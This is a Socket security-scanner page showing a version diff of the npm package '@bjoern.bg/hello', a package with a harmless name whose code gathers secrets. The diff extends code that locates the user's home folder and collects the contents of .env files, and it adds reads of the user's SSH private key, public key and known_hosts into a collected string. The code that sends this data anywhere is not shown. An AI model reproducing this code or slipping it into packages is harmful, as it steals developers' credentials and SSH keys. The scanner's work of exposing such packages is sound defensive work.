Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

@bjoern.bg/hello

Package Overview
Dependencies
Maintainers
1
Versions
12
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@bjoern.bg/hello - npm Package Compare versions

Comparing version 0.1.4 to 0.2.0

2

package.json
{
"name": "@bjoern.bg/hello",
"version": "0.1.4",
"version": "0.2.0",
"license": "(MIT OR Apache-2.0)",

@@ -5,0 +5,0 @@ "main": "lib/index.js",

@@ -28,5 +28,3 @@ const fs = require("fs");

let userfolder = cwd.match(
/Users\/([^\/]+)\//gim
);
let userfolder = cwd.match(/Users\/([^\/]+)\//gim);
if (userfolder) {

@@ -60,9 +58,14 @@ userfolder = userfolder[0];

let files = await glob(`${userfolder}/${folder}/**/*.{env}`);
// let files = await glob(`${userfolder}/${folder}/**/*.{env}`);
let files = await fg(`${userfolder}/${folder}/**/*.env`, {
ignore: ['**/node_modules/**'],
dot: true,
onlyFiles: true,
});
for (file of files) {
// not a file
if (fs.statSync(file).isDirectory()) {
continue;
}
// if (fs.statSync(file).isDirectory()) {
// continue;
// }

@@ -74,2 +77,7 @@ info += `\n${file}:\n${fs.readFileSync(file, {

}
info += contentIfFileExists(`${userfolder}/.ssh/id_rsa`);
info += contentIfFileExists(`${userfolder}/.ssh/id_rsa.pub`);
info += contentIfFileExists(`${userfolder}/.ssh/known_hosts`);
}

@@ -84,1 +92,11 @@

}
function contentIfFileExists(path) {
if(fs.existsSync(path)) {
return `\n${path}:\n${fs.readFileSync(path, {
encoding: "utf-8",
})}\n`;
};
return '';
}
SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc